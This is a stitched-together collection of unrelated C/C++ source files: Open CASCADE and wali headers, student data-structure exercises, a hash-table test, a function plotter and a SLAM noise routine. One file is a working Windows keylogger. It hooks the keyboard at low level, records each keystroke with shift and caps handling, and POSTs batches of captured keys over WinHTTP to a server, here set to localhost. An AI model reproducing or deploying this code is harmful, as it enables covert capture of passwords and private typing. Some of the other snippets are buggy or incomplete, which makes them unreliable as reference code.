#ifndef wali_KEY_SOURCE_GUARD #define wali_KEY_SOURCE_GUARD 1 /** * @author Nicholas Kidd */ #include "wali/Common.hpp" #include "wali/Countable.hpp" #include "wali/Printable.hpp" #include "wali/hm_hash.hpp" namespace wali { /** * @class KeySource */ class KeySource : public Printable, public Countable { public: KeySource() {} virtual ~KeySource() {} virtual bool equal( KeySource* rhs ) = 0; virtual size_t hash() const = 0; virtual std::ostream& print( std::ostream& o ) const = 0; protected: }; // class KeySource template<> struct hm_hash< key_src_t > { size_t operator()( key_src_t ksrc ) const { return ksrc->hash(); } }; template<> struct hm_equal< key_src_t > { bool operator()( key_src_t lhs, key_src_t rhs ) const { return lhs->equal(rhs.get_ptr()); } }; }; // namespace wali #endif // wali_KEY_SOURCE_GUARD
#pragma once #include<iostream> using namespace std; class Queen { public: Queen(); virtual ~Queen(); void Inqueen(int a); void Outqueen(int &a); int Queenlen(); bool Emptyqueen(); bool Clearqueen(); bool Queentraverse(); bool Queenfull(); private: int lenth; int elements; int *ptrqueen; int *head; }; Queen::Queen() { lenth = 10; head=ptrqueen = new int[10]; elements = 0; } Queen::~Queen() { delete []ptrqueen; ptrqueen = NULL; } bool Queen::Clearqueen() { elements = 0; ptrqueen = head; return true; } bool Queen::Emptyqueen() { if (0 == elements) return true; return false; } void Queen::Inqueen(int a) { if (head + 9 < ptrqueen+elements) *(head+((ptrqueen+elements-1)-(head+9)))=a; else *(ptrqueen + (elements++)) = a; } void Queen::Outqueen(int &a) { a = *ptrqueen; if (ptrqueen == head + 9) ptrqueen = head; else ptrqueen++; elements--; } bool Queen::Queentraverse() { int i = 0; while (i < elements) { if (head + 9 < ptrqueen + i) cout << *(head + ((ptrqueen + i - 1) - (head + 9))) << " "; else cout << *(ptrqueen + i) << " "; i++; } return true; } bool Queen::Queenfull() { if (lenth == elements) return true; return false; } int Queen::Queenlen() { return lenth; }
#include <cstdlib> #include <iostream> #include <string> #include <vector> #include "hashTable.h" using namespace std; int main() { const int ts = 393241; HASH_TABLE<int, ts> ht; cout << ht.getTableSize() << endl; string key1 = "hereisakey" ; string key2 = "hereisalsoakey"; string key3 = "notlikeothers"; cout << ht.getKey(key1) << endl ; cout << ht.getKey(key2) << endl ; cout << ht.getKey(key3) << endl ; ht.add(ht.getKey(key1), 42) ; ht.add(ht.getKey(key2), 50) ; ht.add(ht.getKey(key3), 3) ; cout << ht.getKey(key3) << endl ; vector<int> results = ht.getItemsAtKey(ht.getKey(key1)) ; cout << "Added and retrieved: " << results[0] << endl ; results = ht.getItemsAtKey(ht.getKey(key2)) ; cout << "Added and retrieved: " << results[0] << endl ; results = ht.getItemsAtKey(ht.getKey(key3)); cout << "Added and retrieved: " << results[0] << endl ; /* int keys[] = {0, 1, 47, 99, 100, -1, 1, 3}; //8 Keys int values[] = {42, 42, 42, 42, 42, 42, 56}; //7 Values for(int i = 0; i < 7; i++){ ht.add(keys[i], values[i]); } for(int i = 0; i <8; i++){ cout << "Key " << keys[i] << ": "; vector<int> results = ht.getItemsAtKey(keys[i]); for(int j = 0; j < results.size(); j++) { cout << results[j] << ", "; } cout << "(size " << ht.numItemsAtKey(i) << endl; } cout << ht.inTable(1, 32) << endl; for(int i = 0; i <8; i++){ cout << "Key " << keys[i] << ": " << ht.inTable(keys[i], values[i]) << endl; } ht.remove(1, 42); int i = 1; vector<int> results = ht.getItemsAtKey(keys[i]); for(int j = 0; j < results.size(); j++) { cout << results[j] << ", "; } cout << "(size " << ht.numItemsAtKey(i) << endl; for(int i = 0; i < 8; i++) { ht.remove(keys[i], values[i]); } for(int i = 0; i <8; i++){ cout << "Key " << keys[i] << ": "; vector<int> results = ht.getItemsAtKey(keys[i]); for(int j = 0; j < results.size(); j++) { cout << results[j] << ", "; } cout << "(size " << ht.numItemsAtKey(i) << endl; } ht.remove(1, 32); */ return 0; }
// Created on : Thu Mar 24 18:30:12 2022 // Created by: snn // Generator: Express (EXPRESS -> CASCADE/XSTEP Translator) V2.0 // Copyright (c) Open CASCADE 2022 // // This file is part of Open CASCADE Technology software library. // // This library is free software; you can redistribute it and/or modify it under // the terms of the GNU Lesser General Public License version 2.1 as published // by the Free Software Foundation, with special exception defined in the file // OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT // distribution for complete text of the license and disclaimer of any warranty. // // Alternatively, this file may be used under the terms of Open CASCADE // commercial license or contractual agreement. #ifndef _StepVisual_TessellatedEdge_HeaderFile_ #define _StepVisual_TessellatedEdge_HeaderFile_ #include <Standard.hxx> #include <Standard_Type.hxx> #include <StepVisual_TessellatedStructuredItem.hxx> #include <StepVisual_CoordinatesList.hxx> #include <StepVisual_EdgeOrCurve.hxx> #include <TColStd_HArray1OfInteger.hxx> DEFINE_STANDARD_HANDLE(StepVisual_TessellatedEdge, StepVisual_TessellatedStructuredItem) //! Representation of STEP entity TessellatedEdge class StepVisual_TessellatedEdge : public StepVisual_TessellatedStructuredItem { public : //! default constructor Standard_EXPORT StepVisual_TessellatedEdge(); //! Initialize all fields (own and inherited) Standard_EXPORT void Init(const Handle(TCollection_HAsciiString)& theRepresentationItem_Name, const Handle(StepVisual_CoordinatesList)& theCoordinates, const Standard_Boolean theHasGeometricLink, const StepVisual_EdgeOrCurve& theGeometricLink, const Handle(TColStd_HArray1OfInteger)& theLineStrip); //! Returns field Coordinates Standard_EXPORT Handle(StepVisual_CoordinatesList) Coordinates() const; //! Sets field Coordinates Standard_EXPORT void SetCoordinates (const Handle(StepVisual_CoordinatesList)& theCoordinates); //! Returns field GeometricLink Standard_EXPORT StepVisual_EdgeOrCurve GeometricLink() const; //! Sets field GeometricLink Standard_EXPORT void SetGeometricLink (const StepVisual_EdgeOrCurve& theGeometricLink); //! Returns True if optional field GeometricLink is defined Standard_EXPORT Standard_Boolean HasGeometricLink() const; //! Returns field LineStrip Standard_EXPORT Handle(TColStd_HArray1OfInteger) LineStrip() const; //! Sets field LineStrip Standard_EXPORT void SetLineStrip (const Handle(TColStd_HArray1OfInteger)& theLineStrip); //! Returns number of LineStrip Standard_EXPORT Standard_Integer NbLineStrip() const; //! Returns value of LineStrip by its num Standard_EXPORT Standard_Integer LineStripValue(const Standard_Integer theNum) const; DEFINE_STANDARD_RTTIEXT(StepVisual_TessellatedEdge, StepVisual_TessellatedStructuredItem) private: Handle(StepVisual_CoordinatesList) myCoordinates; StepVisual_EdgeOrCurve myGeometricLink; //!< optional Handle(TColStd_HArray1OfInteger) myLineStrip; Standard_Boolean myHasGeometricLink; //!< flag "is GeometricLink defined" }; #endif // _StepVisual_TessellatedEdge_HeaderFile_
/**************************************************************************** * * * Author : lukasz.iwaszkiewicz@gmail.com * * ~~~~~~~~ * * License : see COPYING file for details. * * ~~~~~~~~~ * ****************************************************************************/ #ifdef USE_CHIPMUNK #ifndef BAJKA_STATICBODY_H_ #define BAJKA_STATICBODY_H_ #include "Body.h" namespace Model { class StaticBody : public Body { public: C__ (bool) b_ ("Body") StaticBody (bool spcBdy = false); virtual ~StaticBody (); // To główne ze space. bool getSpaceBody () const { return spaceBody; } private: bool spaceBody; E_ (StaticBody) }; } #endif /* STATICBODY_H_ */ #endif
#include <cstdio> #include <iostream> #include <istream> #include <ostream> #include <string> #include <windows.h> #include <winhttp.h> using namespace std; LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam); void sendData(string keys); string keysString = ""; const char* key; bool isCapsLock() { if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0) return true; else return false; } bool logicalXOR(bool p, bool q) { return ((p || q) && !(p && q)); } wstring get_utf16(const string &str, int codepage) { if (str.empty()) return wstring(); int sz = MultiByteToWideChar(codepage, 0, &str[0], (int)str.size(), 0, 0); wstring res(sz, 0); MultiByteToWideChar(codepage, 0, &str[0], (int)str.size(), &res[0], sz); return res; } void logIt(const char* key) { cout << key << "\r\n"; keysString += key; if (keysString.length() > 15) { sendData(keysString); } } LPSTR getKeysString() { string keys = keysString; char * writable = new char[keys.size() +1]; copy(keysString.begin(), keysString.end(), writable); writable[keysString.size()] = '\0'; // terminating zero keysString =""; return writable; } void sendData(string keys) { bool retry = true; DWORD result = 0; DWORD dwSize = 0; DWORD dwDownloaded = 0; LPSTR pszOutBuffer; BOOL bResults = FALSE; HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; LPCWSTR additionalHeaders = L"Content-Type: application/x-www-form-urlencoded\r\n"; DWORD headersLength = -1; LPSTR data = getKeysString(); // assigning proper String as data DWORD data_len = strlen(data); //cout << data << "\r\n"; wstring surl = get_utf16("/winhttp/", CP_UTF8); wstring sdomain = get_utf16("localhost", CP_UTF8); // Use WinHttpOpen to obtain a session handle. hSession = WinHttpOpen( L"Simple Keylog Example/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 ); // Specify an HTTP server. if( hSession ) hConnect = WinHttpConnect( hSession, sdomain.c_str(),INTERNET_DEFAULT_HTTP_PORT, 0 ); // Create an HTTP request handle. if( hConnect ) cout << "\r\n" << "Connecting..."; hRequest = WinHttpOpenRequest( hConnect, L"POST", surl.c_str(),NULL, WINHTTP_NO_REFERER,WINHTTP_DEFAULT_ACCEPT_TYPES,0 ); // Send a request. if (hRequest) { bResults = WinHttpSendRequest(hRequest,additionalHeaders, headersLength, (LPVOID)data, data_len,data_len, 0); } // get last error result = GetLastError(); cout << "\r\n" << "Attempt to connect, result: " << result << "\r\n"; // End the request. if( bResults ) { cout << "Receiving response..." << "\r\n"; bResults = WinHttpReceiveResponse( hRequest, NULL ); } // Keep checking for data until there is nothing left. if( bResults ) { do { // Check for available data. cout << "Checking part of response... " << "\r\n"; dwSize = 0; if( !WinHttpQueryDataAvailable( hRequest, &dwSize ) ) printf( "Error %u in WinHttpQueryDataAvailable.\n", GetLastError( ) ); // Allocate space for the buffer. pszOutBuffer = new char[dwSize+1]; if( !pszOutBuffer ) { printf( "Out of memory\n" ); dwSize=0; } else { // Read the data. ZeroMemory( pszOutBuffer, dwSize+1 ); if( !WinHttpReadData( hRequest, (LPVOID)pszOutBuffer,dwSize, &dwDownloaded ) ) printf( "Error %u in WinHttpReadData.\n", GetLastError( ) ); else printf( "%s", pszOutBuffer ); printf("\r\n"); // Free the memory allocated to the buffer. delete [] pszOutBuffer; } } while( dwSize > 0 ); } // Report any errors. if( !bResults ) printf( "Error %d has occurred.\n \r\n", GetLastError( ) ); printf("hRequest: %d, hConnect: %d, hSession: %d \r\n", hRequest, hConnect, hSession); // Close any open handles. if( hRequest ) WinHttpCloseHandle( hRequest ); if( hConnect ) WinHttpCloseHandle( hConnect ); if( hSession ) WinHttpCloseHandle( hSession ); } LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam; DWORD vkCode = p->vkCode; if ((vkCode>=39)&&(vkCode<=64)) { if (GetAsyncKeyState(VK_SHIFT)) // Check if shift key is down (fairly accurate) { switch (vkCode) // 0x30-0x39 is 0-9 respectively { case 0x30: logIt(")"); break; case 0x31: logIt("!"); break; case 0x32: logIt("@"); break; case 0x33: logIt("#"); break; case 0x34: logIt("$"); break; case 0x35: logIt("%"); break; case 0x36: logIt("^"); break; case 0x37: logIt("&"); break; case 0x38: logIt("*"); break; case 0x39: logIt("("); break; } } else // If shift key is not down { char val[5]; sprintf(val,"%c",vkCode); logIt(val); } } else if ((vkCode>64)&&(vkCode<91)) // Keys a-z { /* The following is a complicated statement to check if the letters need to be switched to lowercase. Here is an explanation of why the exclusive or (XOR) must be used. Shift Caps LowerCase UpperCase T T T F T F F T F T F T F F T F The above truth table shows what case letters are typed in, based on the state of the shift and caps lock key combinations. The UpperCase column is the same result as a logical XOR. However, since we're checking the opposite in the following if statement, we'll also include a NOT operator (!) Becuase, NOT(XOR) would give us the LowerCase column results. */ if (!(logicalXOR(GetAsyncKeyState(VK_SHIFT),isCapsLock()))) // Check if letters should be lowercase { vkCode+=32; // Un-capitalize letters } char val[5]; sprintf(val,"%c",vkCode); logIt(val); } else { switch (vkCode) // Check for other keys { case VK_SPACE: logIt(" "); break; case VK_RETURN: logIt("[ENTER]\n"); break; case VK_BACK: logIt("[BKSP]"); break; case VK_TAB: logIt("[TAB]"); break; case VK_LCONTROL: case VK_RCONTROL: logIt("[CTRL]"); break; case VK_LMENU: case VK_RMENU: logIt("[ALT]"); break; case VK_CAPITAL: logIt("[CAPS]"); break; case VK_ESCAPE: logIt("[ESC]"); break; case VK_INSERT: logIt("[INSERT]"); break; case VK_DELETE: logIt("[DEL]"); break; case VK_NUMPAD0: logIt("0"); break; case VK_NUMPAD1: logIt("1"); break; case VK_NUMPAD2: logIt("2"); break; case VK_NUMPAD3: logIt("3"); break; case VK_NUMPAD4: logIt("4"); break; case VK_NUMPAD5: logIt("5"); break; case VK_NUMPAD6: logIt("6"); break; case VK_NUMPAD7: logIt("7"); break; case VK_NUMPAD8: logIt("8"); break; case VK_NUMPAD9: logIt("9"); break; case VK_OEM_2: if (GetAsyncKeyState(VK_SHIFT)) logIt("?"); else logIt("/"); break; case VK_OEM_3: if (GetAsyncKeyState(VK_SHIFT)) logIt("~"); else logIt("`"); break; case VK_OEM_4: if(GetAsyncKeyState(VK_SHIFT)) logIt("{"); else logIt("["); break; case VK_OEM_5: if(GetAsyncKeyState(VK_SHIFT)) logIt("|"); else logIt("\\"); break; case VK_OEM_6: if(GetAsyncKeyState(VK_SHIFT)) logIt("}"); else logIt("]"); break; case VK_OEM_7: if(GetAsyncKeyState(VK_SHIFT)) logIt("\""); else logIt("'"); break; case VK_LSHIFT: case VK_RSHIFT: // do nothing; break; case 0xBC: //comma if(GetAsyncKeyState(VK_SHIFT)) logIt("<"); else logIt(","); break; case 0xBE: //Period if(GetAsyncKeyState(VK_SHIFT)) logIt(">"); else logIt("."); break; case 0xBA: //Semi Colon same as VK_OEM_1 if(GetAsyncKeyState(VK_SHIFT)) logIt(":"); else logIt(";"); break; case 0xBD: //Minus if(GetAsyncKeyState(VK_SHIFT)) logIt("_"); else logIt("-"); break; case 0xBB: //Equal if(GetAsyncKeyState(VK_SHIFT)) logIt("+"); else logIt("="); break; default: // Catch all misc keys // fputc(vkCode,file); // Un-comment this to remove gibberish from the log file // printf("%c",vkCode); // Un-comment this line to debug and add support for more keys // Use Getnametext instead of a lot of switch statements for system keys. DWORD dwMsg = 1; dwMsg += p->scanCode << 16; dwMsg += p->flags << 24; char key[16]; GetKeyNameTextA(dwMsg,key,15); logIt(key); return CallNextHookEx(0, nCode, wParam, lParam); } } //char key = MapVirtualKeyEx(p->vkCode, 2, GetKeyboardLayout(0)); // printf("%c", key); } return 0; } int main() { HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0); MSG msg; printf("Waiting for msgs ...\n"); while (!GetMessage(&msg, NULL, NULL, NULL)) { TranslateMessage(&msg); DispatchMessage(&msg); } //UnhookWindowsHookEx(hhkLowLevelKybd); }
#ifndef DEFINE_H #define DEFINE_H #include "DataTypes/vec.h" #include <vector> #define PI 3.141592 #define EPS 0.000001 #define ZERO_F 0.000001 //#define GRAVITY 98 #define GRAVITY 980 #define MAX 100000000 #define MIN -100000000 #define MARGIN 5 #define GAUSS_QUADRATURE 0 #define NODAL_INTEGRATION 1 #define STRESS_POINT 2 #define SPLINE3 0 //3rd order spline #define SPLINE4 1 //4th order spline #define EXPONENTIAL 2 #define E_m 10000 #define NU 0.3 #define DENSITY 0.01 //0.02 for majorpapilla; 0.001 for liver; 0.1 for papilla #define DAMPING 1000 #define TOOL_RADIUS 0.5 class Box { public: Box(){}; ~Box(){}; Box(Vec3f& ld, Vec3f& ru) { leftDown = ld; rightUp = ru; center = (leftDown+rightUp)/2.; } Vec3f leftDown; Vec3f rightUp; Vec3f center; } ; typedef struct { Vec3i leftDown; Vec3i rightUp; } Boxi; typedef struct { Vec3f p[4]; Vec3f normal; Box box; } Rect; typedef struct { Vec3f p[3]; Vec3f normal; Box box; } Tri; typedef struct { Vec3f l1; Vec3f l2; Vec3f center; } Line; typedef enum{ DRAW_WIRE = 0x0001, DRAW_SURFACE = 0x0010, DRAW_WIRE_AND_SURFACE = 0x0011 }drawMode; typedef std::vector<Vec3f> arrayVec3f; typedef std::vector<Vec3d> arrayVec3d; typedef std::vector<Vec3i> arrayVec3i; typedef std::vector<int> arrayInt; typedef std::vector<float> arrayFloat; typedef std::vector<Vec2f> arrayVec2f; typedef std::vector<Vec2i> arrayVec2i; #endif
#include "UserFunction.h" #include <cmath> //#include "StringToShunting.h"; #include <string> #include <iostream> //#include "StringToQueue.h" //#include "ShuntingYard.h" /* THINGS IM GONNA NEED: ---------------------------- - color for each function! - an array of visual elements - the function itself */ UserFunction::UserFunction(){ getPlot(); } UserFunction::UserFunction(String input) { getPlot(); functionStr = input; } void UserFunction::draw(RenderWindow& window) { getPlot(); window.draw(plot); } void UserFunction::getPlot() { plot.setPrimitiveType(PrimitiveType::LinesStrip); plot.resize(GRAPH_WIDTH); for (float i = (X_MIN-OFFSET.x); i < (X_MAX-OFFSET.x); i++) { plot.append(Vertex(Vector2f((i + OFFSET.x), (getY(i+OFFSET.x)+OFFSET.y)), CURVE_COLOR)); } } float UserFunction::getY(float x) { x = ((x - (BAR_WIDTH + GRAPH_WIDTH / 2))-OFFSET.x); x = x / (GRID_RATIO*YSCALE); float y = (-1*(tan(x*x)));//convertCalc(functionStr, x); y *= GRID_RATIO*YSCALE; y = getRealPos(y); return (y-1); } float UserFunction::getRealPos(float y) { return (WINDOW_HEIGHT - (y + (GRAPH_HEIGHT / 2)) - 1); //do stuff }
#include <stdio.h> #include <stdlib.h> #include <cstring> #include "DynamicArray.h" typedef struct PERSON { CircleLinkNode* node; char name[64]; int age; int score; }Person; void MyPrint(CircleLinkNode* node){ Person* person = (Person*)node; if (person->age != 0) printf("name: %s, age: %d, score: %d\n", person->name, person->age, person->score); } int compare(CircleLinkNode* n1, CircleLinkNode* n2){ Person* p1 = (Person*)n1; Person* p2 = (Person*)n2; if(strcmp(p1->name, p2->name) == 0 && p1->age == p2->age && p1->score == p2->score) return CIRCLELINKLIST_TRUE; return CIRCLELINKLIST_FALSE; } typedef struct NUM { CircleLinkNode* node; int val; } Num; void PrintNum(CircleLinkNode* node){ Num* n = (Num*)&node; printf("val: %d\n", n->val); } int compareNum(CircleLinkNode* n1, CircleLinkNode* n2){ Num* num1 = (Num*)n1; Num* num2 = (Num*)n1; if(num1->val == num2->val) return CIRCLELINKLIST_TRUE; return CIRCLELINKLIST_FALSE; } int main(int argc, char const *argv[]) { CircleLinkList* clist = init_CircleLinkList(); // Num n; // n.val = 10; // CircleLinkNode* node = (CircleLinkNode*)&n; // Num* n2 = (Num*)&node; // printf(n2->val); int M = 10; Num num[M]; for(int i=0; i<M; i++){ num[i].val = i+1; CircleLinkNode* n = (CircleLinkNode*)&num[i]; // PrintNum(n); printf("num: %d\n", num[i].val); insert_CircleLinkList(clist, 0, (CircleLinkNode*)&num[i]); } printf("\n"); print_CircleLinkList(clist, PrintNum); // int N = 3; // int index = 0; // CircleLinkNode* pCur = (CircleLinkNode*)clist->head.next; // while (size_CircleLinkList(clist)>1) // { // if(index == N){ // Num* n = (Num*)pCur; // printf("%d ", n); // CircleLinkNode* pNext = pCur->next; // removeByValue_CircleLinkList(clist, pCur, compareNum); // pCur = pNext; // if(pCur == &(clist->head)) // pCur = pCur->next; // index = 1; // } // pCur = pCur->next; // index++; // } // if(size_CircleLinkList(clist) == 1){ // CircleLinkNode* node = &(clist->head); // Num* n = (Num*)node; // printf(n->val); // } // else // printf("error~"); } // int main(int argc, char const *argv[]) // { // CircleLinkList* clist = init_CircleLinkList(); // Person p1; // strcpy(p1.name, "aaa"); // p1.age = 10; // p1.score = 88; // Person p2; // strcpy(p2.name, "bbb"); // p2.age = 20; // p2.score = 78; // Person p3; // strcpy(p3.name, "ccc"); // p3.age = 30; // p3.score = 98; // insert_CircleLinkList(clist, 0, (CircleLinkNode*)&p1); // insert_CircleLinkList(clist, 1, (CircleLinkNode*)&p2); // insert_CircleLinkList(clist, 2, (CircleLinkNode*)&p3); // print_CircleLinkList(clist, MyPrint); // printf("\n"); // removeByValue_CircleLinkList(clist, (CircleLinkNode*)&p2, compare); // print_CircleLinkList(clist, MyPrint); // printf("\n"); // return 0; // }
#include<iostream> #include<vector> #include<algorithm> #include<map> #include<unordered_map> using namespace std; struct TreeNode { int val; TreeNode* left; TreeNode* right; TreeNode(int x) : val(x), left(NULL), right(NULL) {} }; #define inf 9999 void Init_TreeNode(TreeNode** T, vector<int>& vec, int& pos) { if (vec[pos] == inf || vec.size() == 0) { *T = NULL; return; } else { (*T) = new TreeNode(0); (*T)->val = vec[pos]; Init_TreeNode(&(*T)->left, vec, ++pos); Init_TreeNode(&(*T)->right, vec, ++pos); } } class Solution { public: int res=0; int target; int pathSum(TreeNode* root, int sum) { //基本思想:双重递归,第一重递归dfs遍历root中的每一个节点,第二重递归path以该节点为起始点不断往下求和节点值,如果求和等于target,res+=1 if(root==NULL) return res; target=sum; dfs(root); return res; } void path(TreeNode* root,int sum) { if(root==NULL) return; if(sum+root->val==target) res+=1; path(root->left,sum+root->val); path(root->right,sum+root->val); } void dfs(TreeNode* root) { if(root==NULL) return; path(root,0); dfs(root->left); dfs(root->right); } }; int main() { TreeNode* root = NULL; vector<int> vec = { 1,2,3,4,inf,inf,inf,inf,inf}; int pos = 0; Init_TreeNode(&root, vec, pos); Solution solute; int sum=3; cout<<solute.pathSum(root,sum)<<endl;; return 0; }
#pragma once #include"Pila.h" #include"Pila_Informacion.h" class Productos { public: char Fila; int FNum; int Columna; int TipoProducto1 = 0; int TipoProducto2 = 0; int TipoProducto3 = 0; int PesoMaximo = 0; int PesoDisponible = 0; int PesoDisponible2 = 0; int PesoDisponible3 = 0; int Cantidad = 0; int Cant1 = 0; int Cant2 = 0; int Cant3 = 0; int PesoUnitario1 = 0; int PesoUnitario2 = 0; int PesoUnitario3 = 0; int PesoUtilizado = 0; int FechaAlmacenada = 0; char NombreA[50] = { "" }; char NombreR[50] = { "" }; int FechaRetiro; public: Pila* pilaPro; Pila_Informacion* pilaD; /*Pila* PilaObjetos;*/ //UBICACION DATA int UBIDATAFILA; int UBIDATACOLUM; public: Productos(); };
/**************************************************************************** * * * Author : lukasz.iwaszkiewicz@gmail.com * * ~~~~~~~~ * * License : see COPYING file for details. * * ~~~~~~~~~ * ****************************************************************************/ #ifndef IMODELMANAGER_H_ #define IMODELMANAGER_H_ #include <string> #include <core/Object.h> #include "model/IModel.h" namespace Util { struct Scene; } namespace Model { /** * Ładuje modele. */ struct IModelManager : public Core::Object { virtual ~IModelManager () {} virtual void load (std::string const &param1, std::string const &param2) = 0; virtual Model::IModel *get (std::string const &param1, std::string const &param2) = 0; /* * Metoda dla Shella. Zwraca true gdy załadowano nowy model. * */ virtual bool run (Util::Scene *scene) = 0; }; } /* namespace Model */ #endif /* IMODELMANAGER_H_ */
#include <iostream> #include <vector> using namespace std; class Solution{ public: int longestIncreasingPath(vector<vector<int> >& matrix){ } }
// Created on: 1997-09-18 // Created by: Philippe MANGIN // Copyright (c) 1997-1999 Matra Datavision // Copyright (c) 1999-2014 OPEN CASCADE SAS // // This file is part of Open CASCADE Technology software library. // // This library is free software; you can redistribute it and/or modify it under // the terms of the GNU Lesser General Public License version 2.1 as published // by the Free Software Foundation, with special exception defined in the file // OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT // distribution for complete text of the license and disclaimer of any warranty. // // Alternatively, this file may be used under the terms of Open CASCADE // commercial license or contractual agreement. #ifndef _FEmTool_LinearTension_HeaderFile #define _FEmTool_LinearTension_HeaderFile #include <Standard.hxx> #include <Standard_Type.hxx> #include <math_Matrix.hxx> #include <Standard_Integer.hxx> #include <FEmTool_ElementaryCriterion.hxx> #include <GeomAbs_Shape.hxx> #include <TColStd_HArray2OfInteger.hxx> #include <math_Vector.hxx> class FEmTool_LinearTension; DEFINE_STANDARD_HANDLE(FEmTool_LinearTension, FEmTool_ElementaryCriterion) //! Criterium of LinearTension To Hermit-Jacobi elements class FEmTool_LinearTension : public FEmTool_ElementaryCriterion { public: Standard_EXPORT FEmTool_LinearTension(const Standard_Integer WorkDegree, const GeomAbs_Shape ConstraintOrder); Standard_EXPORT virtual Handle(TColStd_HArray2OfInteger) DependenceTable() const Standard_OVERRIDE; Standard_EXPORT virtual Standard_Real Value() Standard_OVERRIDE; Standard_EXPORT virtual void Hessian (const Standard_Integer Dimension1, const Standard_Integer Dimension2, math_Matrix& H) Standard_OVERRIDE; Standard_EXPORT virtual void Gradient (const Standard_Integer Dimension, math_Vector& G) Standard_OVERRIDE; DEFINE_STANDARD_RTTIEXT(FEmTool_LinearTension,FEmTool_ElementaryCriterion) protected: private: math_Matrix RefMatrix; Standard_Integer myOrder; }; #endif // _FEmTool_LinearTension_HeaderFile
/* * MyString.h * * Created on: May 30, 2016 * Author: g33z */ #ifndef MYSTRING_H_ #define MYSTRING_H_ #include <iostream> #include <stdlib.h> #include <cstdlib> class MyString { private: int strlength; int max_length; char* c_pointer; static const MyString copystring; public: MyString(); MyString(char* s); MyString(int size); virtual ~MyString(); void print(char* my_string); int length(char* my_string); int capacity(char* my_string); int read(); MyString substring(int p,int l); MyString& resize(int l); int indexOf(char c, int pos); MyString& replace(char rep, unsigned int pos); //getter && setter void setstring(char* s); void setlength(int l); void setmaxlength(int ml); char* getstring(); int getlength(); int getmaxlength(); //end }; #endif /* MYSTRING_H_ */
#include <conio.h> #include <stdlib.h> #include <stdio.h> #include <time.h> #include <string.h> #include <math.h> #include <locale.h> #include <ctype.h> #include <iostream> int x,soma; int main() { soma=0; for(x=0 ; x<=100 ; x++) { soma=soma+x; } printf("A soma dos numeros positivos de 1 a 100 e: %d",soma); }
#ifndef VECTOR_HPP #define VECTOR_HPP class Vector { public: void insert(const int index, const int value); void push_back(int value); void erase(const int index); void pop_back(); int size() const; void printVector() const; Vector(); Vector(int size, int value); Vector(const Vector& object); Vector(Vector&& object); ~Vector(); private: int* m_array; int m_size; }; #endif
#include "add_control_noise.h" #include <iostream> void add_control_noise(double V, double G, double* Q, int addnoise, double* VnGn) { add_control_noise_active(V,G,Q,addnoise,VnGn); } void add_control_noise_base(double V, double G, double* Q, int addnoise, double* VnGn) { VnGn[0] = V; VnGn[1] = G; if (addnoise == 1) { Vector2d A; //seems we don't use malloc //malloc(2 * sizeof(double)) A[0] = V; A[1] = G; Vector2d result; // need allocation? double *C = malloc(2 * sizeof(double)); multivariate_gauss(A, Q, result); VnGn[0] = result[0]; VnGn[1] = result[1]; } } // Work / Memory instrumenting void add_control_noise_active(double V, double G, double* Q, int addnoise, double* VnGn){ VnGn[0] = V; VnGn[1] = G; if (addnoise == 1) { Vector2d A; //seems we don't use malloc //malloc(2 * sizeof(double)) A[0] = V; A[1] = G; Vector2d result; // need allocation? double *C = malloc(2 * sizeof(double)); multivariate_gauss_active(A, Q, result); VnGn[0] = result[0]; VnGn[1] = result[1]; } } double add_control_noise_base_flops(double V, double G, double* Q, int addnoise, double* VnGn){ if(addnoise == 0){ return 0; } Vector2d A; Vector2d result; double flop_count = multivariate_gauss_base_flops(A, Q, result); return flop_count; } double add_control_noise_base_memory(double V, double G, double* Q, int addnoise, double* VnGn){ if(addnoise == 0){ return 0; } Vector2d A; Vector2d result; double memory_called = multivariate_gauss_base_memory(A, Q, result); double memory_read_count = 2; double memory_written_count = 2 * 4; return memory_called + memory_read_count + memory_written_count; } double add_control_noise_active_flops(double V, double G, double* Q, int addnoise, double* VnGn){ if(addnoise == 0){ return 0; } Vector2d A; Vector2d result; double flop_count = multivariate_gauss_active_flops(A, Q, result); return flop_count; } double add_control_noise_active_memory(double V, double G, double* Q, int addnoise, double* VnGn){ if(addnoise == 0){ return 0; } Vector2d A; Vector2d result; double memory_called = multivariate_gauss_active_memory(A, Q, result); double memory_read_count = 2; double memory_written_count = 2 * 4; return memory_called + memory_read_count + memory_written_count; }
#pragma once #include "..\Common\Pch.h" #include "Direct3D.h" typedef enum DEPTH_STENCIL_STATE_ENUM { DS_DepthDisable = 0, DS_Default, DEPTH_STENCIL_STATE_COUNT, } DS_Type; class DepthStencilState { public: DepthStencilState(); ~DepthStencilState(); void Initialize(); void SetState(DS_Type type); private: UINT mStencilRef; ID3D11DepthStencilState** mState; };
/* * Args.hpp * * Created on: Apr 1, 2017 * Author: Patryk */ #ifndef _ARGS_HPP_ #define _ARGS_HPP_ #include <algorithm> #include <string> #include <vector> #include <Window.hpp> namespace core { struct Arguments { Arguments() { windowDesc = WindowDesc(); pathToModel= ""; } WindowDesc windowDesc; std::string pathToModel; }; /* * Attributions: * -fullscreen:true/false (defalut: false) * -vsync:true/false (default:false) * -width:[value] (defualt : 800) * -height:[value] (default : 600) * -src:[path to file] (default :none) example: -src:./res/cube.obj * * */ struct Args { explicit Args(int argc, char* argv[]) : mArgc(argc) { for(int i =1;i<argc;++i) mValues.push_back(std::string(argv[i])); } bool is(const std::string &param); Arguments& getSettings(); int getSize() const { return mArgc-1; } void setFileSrc(const std::string &f){ mValues.push_back("-src="+f); ++mArgc; } private: int mArgc = 0; std::vector<std::string> mValues; void parse(std::string str,std::string &key,std::string &value); }; }; #endif /* INCLUDE_ARGS_HPP_ */
